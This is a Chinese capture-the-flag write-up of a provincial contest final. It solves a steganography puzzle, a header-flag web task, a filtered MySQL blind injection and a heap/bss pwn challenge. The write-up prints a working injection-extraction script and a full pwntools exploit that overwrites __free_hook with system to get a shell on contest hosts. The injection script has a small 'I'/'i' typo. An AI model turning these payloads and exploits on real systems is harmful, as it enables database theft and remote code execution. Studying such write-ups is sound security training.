浙江省首届网络安全大赛决赛Write Up
队名:ch1pppppppp
web是liano做的~
为了拿创新学分来打的这个比赛,初赛题目非常简单,决赛的题目平均质量不是很好,但是也有几道比较有趣的题目,所以放一份详细的 Write Up 出来供师傅们参考。上午的时候由于我们没有准备 misc 的工具,又没有外网,所以一直0分,下午官方提供了 misc 工具并且开始放附加题之后,才开始上分。最后一共做出 4 道题目,得分2100分,位列本科组第一名。(aris太强了)
ps:题目标记的得分为基础分,每一个队伍做出题目,下一个做出的队伍将会少得两分。
小猪佩奇(Misc:400分)
题目地址:
解压之后得到一个file.png
和一个 pwd.docx
直接打开pwd.docx
,发现是空的,那么将其作为zip
解压,在其中找到了一张二维码
扫码之后得到结果:
password:APIG
然后查看 file.png
,binwalk
发现存在 mp3 文件, 使用foremost
分离
随后使用
mp3steno
解密,密码就是上面拿到的 APIG
,得到 base64 编码后的 flag,解码后:
ZJCTF{YouKnow!Peppa_AsocialPerson}
你得点的快 (Web:400分)
题目地址:
点开题目地址,发现提示说,把你发现的东西 POST 回来,在响应头里面发现 flag 字段,base64 解码两次后,POST 回去即可拿到 flag
import requests
import base64
re =requests.session()
url = 'http://172.21.1.102:61234/hC1DU4oEZ3'
html = re.post(url)
head = html.headers['flag']
print html.content
heade = base64.b64decode(base64.b64decode(head).split(': ')[-1])
data = {'flag':heade,'margin':heade}
print heade
html = re.post(url,data=data)
print html.content
盲人摸象(Web:600分)
题目地址:
一道典型的 sql 盲注题,本次比赛为数不多的质量较高 Web 题目,全场也只有我们做出这道题目。
信息收集:
注入点:
POST /iFmn2H0UOq HTTP/1.1
Host: 172.21.1.102:61234
id=1&Submit=Search
测试:
- 首先输入正常的
id
如 1,2,3,4,abcd ,发现返回的结果均为You find it!
- 输入
id
为1-2
,返回结果依然为You find it!
,判断为字符型注入 - 输入
'
,发现返回Probably you need an other mothod.
,猜测为被拦截 - 输入
"
,返回Hide more deep.
,猜测对应为返回值为假.
那么到现在我们已经有了足够的信息:
- 注入为字符型注入,使用
"
进行闭合 - 当返回值为真时,返回的内容为:
You find it!
- 当输入的内容被拦截时,返回为:
Probably you need an other mothod.
- 当查询函数返回值为假(语法错误,或者查询为空)时,返回为:
Hide more deep.
构造poc:
那么通过这些已知信息,我们可以构造poc
首先测试一下都拦截了哪些关键字,经测试:
if
,mid
,left
,like
,regexp
,and
,(空格),
=
,#
,'
,>
等关键字被过滤
比较容易想到的是,使用/**/
,来代替空格,substr
来进行字符串截取,--
来注释掉语句末尾的双引号。
而构造比较,则可以通过<
,in
来实现,我选择通过in
进行构造。于是poc为:
id=-1"/**/or/**/substr(user(),1,1)/**/in/**/("s")--+&Submit=Search
image
编写exp:
在上面poc
的基础上,很容易写出脚本了,不过做题时也遇到了一些小问题,值得说一下:
-
在
python
脚本中使用--
进行注释时,发现总会返回Hide more deep.
而在Burp
中则没有这个问题,不知道是什么原因,于是换用or "0'
来闭合双引号。 -
在当前库
tips
中,并没有发现flag
,需要进行跨库查询,首先需要先在information_schema
库中,获得所有的库名。payload:
payload = '-1" or substr((select group_concat(table_schema) from information_schema.tables where table_schema not in ("information_schema","tips")),%s,1) in ("%s") or "0'
得到还存在一个名为
userless
的数据库,查询其表段,得知存在zjctf
表,flag 在其content
字段。 -
跑出的 flag 为:
zjctf{aa0_bl1nd_hha}
但是上交时提示错误。懵了一会儿后突然想起in
是不区分大小写的。 那么猜测大写字母,针对 flag 中唯一的单词,尝试提交aa0_Bl1nd_hha
成功!
下面是完整的脚本:
"""
Author:Li4n0
Date:2018-11-4
"""
import requests
import string
# in 不区分大小写 需要自己再判断一次
url = 'http://172.21.1.102:61234/iFmn2H0UOq'
#payload = '-1" or substr((select group_concat(column_name) from information_schema.columns where table_name in ("zjctf")),%s,1) in ("%s") or "0'
#payload = '-1" or substr((select group_concat(table_schema) from information_schema.tables where table_schema not in ("information_schema","tips")),%s,1) in ("%s") or "0'
payload = '-1" or substr((select group_concat(content) from useless.zjctf),%s,1) in ("%s") or "0'
key = ''
length = 1
while True:
for i in string.printable.replace('#', ''):
data = {
'id': payload.replace(' ', '/**/') % (str(length), i),
'Submit': 'Search'
}
r = requests.post(url, data=data)
if 'You find' in r.text:
key += I
length += 1
break
print(key)
互联互通(Pwn:800分):
主办方在比赛结束前一个半小时放出这道题目,时间上还是很紧的,所幸最后在比赛结束前 20 分钟写完了 exp,拿到了 flag。
首先提供一个binary:
链接:https://pan.baidu.com/s/1huFet01eELSUgN99GUzmwA 提取码:9d1g
IDA载入看下代码发现不少漏洞,我选择利用起来相对简单的这个,程序中对于 Index 的范围没有检查
image而在编辑 message 的函数中则没有输入 index 的逻辑,而是沿用上一次的
image观察 bss 段发现 username 所在的地址最低,下面有password,length 数组和 message 数组
image另外在输出函数中对 index 的检查更加严格,无法进行下标溢出
于是考虑在 username 写 message 数组地址,让 index 等于 -8(计算得到的name+0x10对应的下标,之所以是name+0x10 是因为 edit 中 read 的长度是由 length[index] 控制的,而他和 message 数组的偏移是0x10
,这样写就可以一起控制),然后就可以任意修改 message 数组,然后改成 got 表地址就可以在 index 不溢出的情况下leak 到 libc
地址
有了libc
地址和任意地址写
,拿shell
就非常容易了,这里选择一种较为简单的方式
改__free_hook
到system
,最后传入一个/bin/sh
的地址,触发free()
就可以拿到shell
,exp
如下:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./cont')
bin = ELF('./cont')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
cn = remote('172.21.1.103',10001)
bin = ELF('./cont')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
def add(idx,length,con):
cn.sendlineafter('>> ','1')
cn.sendlineafter('Index: ',str(idx))
cn.sendlineafter('Length: ',str(length))
cn.sendlineafter('Message: ',con)
def edit(idx,con):
cn.sendlineafter('>> ','1')
cn.sendlineafter('Index: ',str(idx))
cn.sendlineafter('>> ','2')
cn.sendlineafter('Edit message: ',con)
def show(idx):
cn.sendlineafter('>> ','3')
cn.sendlineafter('Index: ',str(idx))
def dele(idx):
cn.sendlineafter('>> ','4')
cn.sendlineafter('Index: ',str(idx))
def change(pw,newname,newpw):
cn.sendlineafter('>> ','5')
cn.sendafter('Password: ',pw)
cn.sendlineafter('New user name: ',newname)
cn.sendafter('New password: ',newpw)
cn.sendlineafter('What\'s user name: ','a'* 0x10 + p64(0x602A70))
cn.sendlineafter(' (y/n) ','y')
cn.sendlineafter('Password: ','bbb')
add(0,0x20,'aaaa')
change('bbb\n','a'* 0x10 + p64(0x602A70),'bbb\n')
edit(-8,p64(0x601FC0))
show(0)
cn.recvuntil('View Message: ')
lbase = u64(cn.recvline()[:-1].ljust(8,'\x00')) - libc.sym['getchar']
print('lbase:' + hex(lbase))
change('bbb','a'* 0x10 + p64(lbase+libc.sym['__free_hook']),'bbb\n')
edit(-8,p64(lbase + libc.sym['system']))
change('bbb','a'* 0x10 + p64(0x602A70),'bbb\n')
edit(-8,p64(lbase + libc.search('/bin/sh\x00').next()))
dele(0)
cn.interactive()
最后我们再来稍微讨论一下这题其他的部分(怎么看怎么像是出给AWD的题目,然而赛制是解题)
首先在更改密码处
image这个地方有个off by one
,通过上面 bss
的图可以发现,这个一字节的溢出可以更改 length 数组的第一个length 的最低位,这样再通过edit功能就可以进行堆溢出相关的攻击。
另外,在 add 功能中直接就有一个堆溢出
image这里判断输入的 length 如果大于0x20
就只malloc(0x20)
,但是read
的长度仍然是你输入的 length。。。
另外还有一个地方
image这里有一个隐藏的命令执行,如果在AWD中被修补了某些漏洞导致我们可以劫持一次控制流但无法leak地址的话,来这里执行shellcode
应该是个不错的办法
这题可能还藏着更多的漏洞,比赛上时间有限就只找到这些了=。=希望有兴趣的同学能挖出更多的问题,或是把我找到的但没有利用起来的漏洞写个exp
也是一个不错的学习方法!
网友评论